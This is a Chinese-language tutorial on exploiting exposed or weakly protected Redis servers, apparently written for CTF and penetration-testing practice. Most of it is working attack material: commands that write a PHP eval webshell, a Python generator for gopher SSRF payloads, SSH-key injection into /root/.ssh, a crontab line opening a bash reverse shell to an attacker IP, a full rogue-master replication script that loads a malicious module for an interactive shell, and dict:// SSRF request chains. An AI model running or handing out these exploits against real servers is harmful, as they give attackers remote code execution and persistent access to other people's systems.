前言
参考:
https://cloud.tencent.com/developer/article/1904134
https://cloud.tencent.com/developer/article/1039000
利用条件
能未授权或者能通过弱口令认证等方式访问到 Redis 服务器
写shell
条件:
- root权限启动redis
 - 需要知道绝对路径
 - 具有文件读写增删改查权限
 
构造redis命令:
redis-cli -h 127.0.0.1:6379     # 连接Redis
config set dir /var/www/html    # 设置要写入shell的路径
config set dbfilename shell.php
set g1ts "\n\n\n<?php @eval($_GET("cmd"))?>\n\n\n"         # 写入一句话木马到g1ts键
save
转化为redis RESP协议的格式的脚本,一般配合gopher协议使用:
import urllib
protocol="gopher://"
ip="192.168.163.128"
port="6379"
shell="\n\n<?php eval($_GET[\"cmd\"]);?>\n\n"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
     "set 1 {}".format(shell.replace(" ","${IFS}")),
     "config set dir {}".format(path),
     "config set dbfilename {}".format(filename),
     "save"
     ]
if passwd:
    cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
    CRLF="\r\n"
    redis_arr = arr.split(" ")
    cmd=""
    cmd+="*"+str(len(redis_arr))
    for x in redis_arr:
        cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
    cmd+=CRLF
    return cmd
if __name__=="__main__":
    for x in cmd:
        payload += urllib.quote(redis_format(x))
    print payload
具体攻击过程可参考:ctfshow2025元旦渗透赛 第五章 功亏一篑
未授权访问写ssh公钥
条件:
- Redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网
 - 没有设置密码认证(一般为空),可以免密码远程登录redis服务
 
先本地产生公私钥文件:
ssh-keygen –t rsa
(echo -e "  "; cat id_rsa.pub; echo -e "  ") > foo.txt
cat foo.txt
把得到的私钥填进payload:(写入的目录不限于 /root/.ssh 下的 authorized_keys,也可以写入用户目录,不过Redis很多以root权限运行,所以写入root目录下,可以跳过猜用户的步骤)
flushall
set 1 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGd9qrfBQqsml+aGC/PoXsKGFhW3sucZ81fiESpJ+HSk1ILv+mhmU2QNcopiPiTu+kGqJYjIanrQEFbtL+NiWaAHahSO3cgPYXpQ+lW0FQwStEHyDzYOM3Jq6VMy8PSPqkoIBWc7Gsu6541NhdltPGH202M7PfA6fXyPR/BSq30ixoAT1vKKYMp8+8/eyeJzDSr0iSplzhKPkQBYquoiyIs70CTp7HjNwsE2lKf4WV8XpJm7DHSnnnu+1kqJMw0F/3NqhrxYK8KpPzpfQNpkAhKCozhOwH2OdNuypyrXPf3px06utkTp6jvx3ESRfJ89jmuM9y4WozM3dylOwMWjal root@kali
'
config set dir /root/.ssh/
config set dbfilename authorized_keys
save
然后把前面的python脚本改一下:
filename="authorized_keys"
ssh_pub="\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGd9qrfBQqsml+aGC/PoXsKGFhW3sucZ81fiESpJ+HSk1ILv+mhmU2QNcopiPiTu+kGqJYjIanrQEFbtL+NiWaAHahSO3cgPYXpQ+lW0FQwStEHyDzYOM3Jq6VMy8PSPqkoIBWc7Gsu6541NhdltPGH202M7PfA6fXyPR/BSq30ixoAT1vKKYMp8+8/eyeJzDSr0iSplzhKPkQBYquoiyIs70CTp7HjNwsE2lKf4WV8XpJm7DHSnnnu+1kqJMw0F/3NqhrxYK8KpPzpfQNpkAhKCozhOwH2OdNuypyrXPf3px06utkTp6jvx3ESRfJ89jmuM9y4WozM3dylOwMWjal root@kali\n\n"
path="/root/.ssh/"
即可远程利用自己的私钥登录服务器
利用contrab计划任务反弹shell
条件:
只能在 Centos 上使用,Ubuntu上用不了,原因:
- 因为默认redis写文件后是644的权限,但ubuntu要求执行定时任务文件
/var/spool/cron/crontabs/<username>权限必须是600也就是-rw-------才会执行,否则会报错(root) INSECURE MODE (mode 0600 expected),而Centos的定时任务文件/var/spool/cron/<username>权限644也能执行 - 因为redis保存RDB会存在乱码,在Ubuntu上会报错,而在Centos上不会报错
 
由于系统的不同,crontrab定时文件位置也会不同:
Centos的定时任务文件在
/var/spool/cron/<username>Ubuntu定时任务文件在
/var/spool/cron/crontabs/<username>Centos和Ubuntu均存在的(需要root权限)
/etc/crontabPS:高版本的redis默认启动是redis权限,故写这个文件是行不通的
payload:
flushall
set 1 '\n\n*/1 * * * * bash -i >& /dev/tcp/192.168.163.132/2333 0>&1\n\n'
config set dir /var/spool/cron/
config set dbfilename root
save
同样修改python脚本:
reverse_ip="192.168.163.132"
reverse_port="2333"
cron="\n\n\n\n*/1 * * * * bash -i >& /dev/tcp/%s/%s 0>&1\n\n\n\n"%(reverse_ip,reverse_port)
filename="root"
path="/var/spool/cron"
主从复制RCE
主从复制
主从复制,是指将一台Redis服务器的数据,复制到其他的Redis服务器。
前者称为主节点(master),后者称为从节点(slave);数据的复制是单向的,只能由主节点到从节点。
redis的持久化使得机器即使重启数据也不会丢失,因为redis服务器重启后会把硬盘上的文件重新恢复到内存中,但是如果硬盘的数据被删除的话数据就无法恢复了,如果通过主从复制就能解决这个问题,主redis的数据和从redis上的数据保持实时同步,当主redis写入数据是就会通过主从复制复制到其它从redis

建立主从复制,有3种方式:(建立主从关系只需要在从节点操作就行了,主节点不用任何操作)
- 配置文件写入:
slaveof <master_ip> <master_port> - redis-server启动命令后加入:
--slaveof <master_ip> <master_port> - 连接到客户端之后执行:
slaveof <master_ip> <master_port> 
本地测试:
我们先在同一个机器开两个redis实例,一个端口为6379,一个端口为6380
redis-server
redis-server D:\Redis\Redis-x64-5.0.14.1\redis6380.conf
把 master_ip 设置为127.0.0.1,master_port 为6380
redis-cli -p 6379
127.0.0.1:6379> SLAVEOF 127.0.0.1 6380
OK
127.0.0.1:6379> get test
(nil)
127.0.0.1:6379> exit
redis-cli -p 6380
127.0.0.1:6380> get test
(nil)
127.0.0.1:6380> set test "test"
OK
127.0.0.1:6380> get test
"test"
127.0.0.1:6380> exit
redis-cli -p 6379
127.0.0.1:6379> get test
"test"
可以看到数据达到了同步效果,如果我们想解除主从关系可以执行SLAVEOF NO ONE
Redis module
Redis4.x之后redis新增了一个模块功能,Redis模块可以使用外部模块扩展Redis功能,以一定的速度实现新的Redis命令,并具有类似于核心内部可以完成的功能
Redis模块是动态库,可以在启动时或使用MODULE LOAD命令加载到Redis中
恶意so文件:https://github.com/n0b0dyCN/redis-rogue-server
python3 ./redis-rogue-server.py --rhost 192.168.200.38 --lhost 192.168.200.4 --exp ./exp.so 
有两种模式,一种是交互式shell,一种是反弹shell
攻击流程
配置一个我们需要以master身份给slave传输so文件的服务
PING 测试连接是否可用 +PONG 告诉slave连接可用 REPLCONF 发送REPLCONF信息,主要是当前实例监听端口 +OK 告诉slave成功接受 REPLCONF 发送REPLCONF capa +OK 告诉slave成功接受 PSYNC <rundi> <offest> 发送PSYNC将要攻击的redis服务器设置成我们的slave
SLAVEOF ip port设置RDB文件(注意以下exp.so是不能包含路径的,如果需要设置成其它目录请用
config set dir path)config set dbfilename exp.so告诉slave使用全量复制并从我们配置的Rouge Server接收module(其中
<runid>无要求,不过长度一般为40,<offest>一般设置为1)+FULLRESYNC <runid> <offest>\r\n$<len(payload)>\r\n<payload>
某exp
import socket
import time
CRLF="\r\n"
payload=open("exp.so","rb").read()
exp_filename="exp.so"
def redis_format(arr):
    global CRLF
    global payload
    redis_arr=arr.split(" ")
    cmd=""
    cmd+="*"+str(len(redis_arr))
    for x in redis_arr:
        cmd+=CRLF+"$"+str(len(x))+CRLF+x
    cmd+=CRLF
    return cmd
def redis_connect(rhost,rport):
    sock=socket.socket()
    sock.connect((rhost,rport))
    return sock
def send(sock,cmd):
    sock.send(redis_format(cmd))
    print(sock.recv(1024).decode("utf-8"))
def interact_shell(sock):
    flag=True
    try:
        while flag:
            shell=raw_input("\033[1;32;40m[*]\033[0m ")
            shell=shell.replace(" ","${IFS}")
            if shell=="exit" or shell=="quit":
                flag=False
            else:
                send(sock,"system.exec {}".format(shell))
    except KeyboardInterrupt:
        return
def RogueServer(lport):
    global CRLF
    global payload
    flag=True
    result=""
    sock=socket.socket()
    sock.bind(("0.0.0.0",lport))
    sock.listen(10)
    clientSock, address = sock.accept()
    while flag:
        data = clientSock.recv(1024)
        if "PING" in data:
            result="+PONG"+CRLF
            clientSock.send(result)
            flag=True
        elif "REPLCONF" in data:
            result="+OK"+CRLF
            clientSock.send(result)
            flag=True
        elif "PSYNC" in data or "SYNC" in data:
            result = "+FULLRESYNC " + "a" * 40 + " 1" + CRLF
            result += "$" + str(len(payload)) + CRLF
            result = result.encode()
            result += payload
            result += CRLF
            clientSock.send(result)
            flag=False
if __name__=="__main__":
    lhost="192.168.163.132"
    lport=6666
    rhost="192.168.163.128"
    rport=6379
    passwd=""
    redis_sock=redis_connect(rhost,rport)
    if passwd:
        send(redis_sock,"AUTH {}".format(passwd))
    send(redis_sock,"SLAVEOF {} {}".format(lhost,lport))
    send(redis_sock,"config set dbfilename {}".format(exp_filename))
    time.sleep(2)
    RogueServer(lport)
    send(redis_sock,"MODULE LOAD ./{}".format(exp_filename))
    interact_shell(redis_sock)
SSRF
- root启用redis
 - 目标机存在dict协议
 - 知道网站绝对路径
 
假设ssrf的点在ssrf.php
ssrf.php?var=dict://192.168.200.38:6379/flushall 
验证登录:
ssrf.php?url=dict://192.168.200.38:6379/auth:password
主从复制写入
ssrf.php?url=dict://192.168.200.38:6379/slaveof:192.168.200.4:6379
设置保存目录
ssrf.php?url=dict://192.168.200.38:6379/config:set:dir:/var/www/html 
设置保存文件名称
ssrf.php?url=dict://192.168.200.38:6379/config:set:dbfilename:shell.php 
本地写文件:
redis-cli
set g1ts "\n\n\n<?php phpinfo() ;?>\n\n\n" 
远程保存:
ssrf.php?url=dict://192.168.200.38:6379/save 
切断主从复制:
ssrf.php?url=dict://192.168.200.38:6379/slaveof:no:one